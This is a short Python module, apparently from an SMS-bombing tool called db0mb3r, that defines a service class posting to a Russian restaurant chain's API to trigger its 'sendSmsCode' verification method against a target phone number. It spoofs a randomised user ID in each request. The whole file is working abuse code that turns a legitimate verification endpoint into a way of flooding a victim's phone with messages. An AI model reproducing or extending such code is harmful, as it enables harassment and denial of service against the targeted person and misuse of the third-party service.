tanuki.py 700 B

12345678910111213141516171819202122
  1. from random import randint
  2. from db0mb3r.services.service import Service
  3. class Tanuki(Service):
  4. async def run(self):
  5. await self.post(
  6. "https://www.tanuki.ru/api/",
  7. json={
  8. "header": {
  9. "version": "2.0",
  10. "userId": f"002ebf12-a125-5ddf-a739-67c3c5d{randint(20000, 90000)}",
  11. "agent": {"device": "desktop", "version": "undefined undefined"},
  12. "langId": "1",
  13. "cityId": "9",
  14. },
  15. "method": {"name": "sendSmsCode"},
  16. "data": {"phone": f"(+{self.country_code}){self.phone}", "type": 1},
  17. },
  18. )